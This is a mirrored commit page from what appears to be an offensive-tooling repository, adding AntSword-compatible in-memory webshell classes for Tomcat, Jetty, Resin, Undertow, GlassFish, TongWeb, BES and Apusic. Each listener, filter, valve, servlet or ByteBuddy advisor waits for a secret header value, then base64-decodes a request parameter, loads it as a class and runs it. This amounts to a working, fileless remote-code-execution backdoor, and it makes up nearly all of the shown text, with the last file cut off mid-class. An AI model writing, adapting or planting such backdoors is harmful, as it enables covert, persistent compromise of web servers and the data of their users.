archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 07:00:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support AntSword shell generate (#34)

Browse Source
This commit is contained in:
ReaJason
2025-02-19 00:04:29 +08:00
parent f38b72fb5f
commit 2f256fc97e
98 changed files with 2860 additions and 152 deletions
Download Patch File Download Diff File Expand all files Collapse all files
memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java
+92
View File
@@ -0,0 +1,92 @@
package com.reajason.javaweb.memshell.apusic.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response");
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java
+88
View File
@@ -0,0 +1,88 @@
package com.reajason.javaweb.memshell.bes.antsword;
import com.bes.enterprise.webtier.Valve;
import com.bes.enterprise.webtier.connector.Request;
import com.bes.enterprise.webtier.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve() {
}
public AntSwordValve(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java
+103
View File
@@ -0,0 +1,103 @@
package com.reajason.javaweb.memshell.glassfish.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
try {
response = (HttpServletResponse) getFieldValue(request, "response");
} catch (Exception ee) {
// glassfish7
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
}
}
return response;
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordHandlerAdvisor.java
+50
View File
@@ -0,0 +1,50 @@
package com.reajason.javaweb.memshell.jetty.antsword;
import net.bytebuddy.asm.Advice;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class AntSwordHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 1) Object baseRequest,
@Advice.Argument(value = 2) Object request,
@Advice.Argument(value = 3) Object response
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java
+98
View File
@@ -0,0 +1,98 @@
package com.reajason.javaweb.memshell.jetty.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response");
}
return response;
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java
+94
View File
@@ -0,0 +1,94 @@
package com.reajason.javaweb.memshell.resin.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
response = (HttpServletResponse) getFieldValue(request, "_response");
return response;
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java
+80
View File
@@ -0,0 +1,80 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordFilter extends ClassLoader implements Filter {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public AntSwordFilter() {
}
public AntSwordFilter(ClassLoader c) {
super(c);
}
@Override
@SuppressWarnings("all")
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordFilter(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void destroy() {
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java
+51
View File
@@ -0,0 +1,51 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import net.bytebuddy.asm.Advice;
import java.io.BufferedReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
*/
public class AntSwordFilterChainAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java
+85
View File
@@ -0,0 +1,85 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordServlet extends ClassLoader implements Servlet {
public static String pass;
public static String headerName;
public static String headerValue;
@Override
@SuppressWarnings("all")
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordServlet(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
@Override
public String getServletInfo() {
return "";
}
@Override
public void destroy() {
}
public AntSwordServlet() {
}
public AntSwordServlet(ClassLoader parent) {
super(parent);
}
@SuppressWarnings("all")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java
+88
View File
@@ -0,0 +1,88 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve() {
}
public AntSwordValve(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java
+105
View File
@@ -0,0 +1,105 @@
package com.reajason.javaweb.memshell.tomcat.antsword;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java
+99
View File
@@ -0,0 +1,99 @@
package com.reajason.javaweb.memshell.tongweb.antsword;
import com.tongweb.web.thor.Valve;
import com.tongweb.web.thor.comet.CometEvent;
import com.tongweb.web.thor.connector.Request;
import com.tongweb.web.thor.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve6 extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve6() {
}
public AntSwordValve6(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public String getInfo() {
return "";
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve6(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
@Override
public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException {
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java
+88
View File
@@ -0,0 +1,88 @@
package com.reajason.javaweb.memshell.tongweb.antsword;
import com.tongweb.catalina.Valve;
import com.tongweb.catalina.connector.Request;
import com.tongweb.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve7 extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve7() {
}
public AntSwordValve7(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve7(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java
+102
View File
@@ -0,0 +1,102 @@
package com.reajason.javaweb.memshell.undertow.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
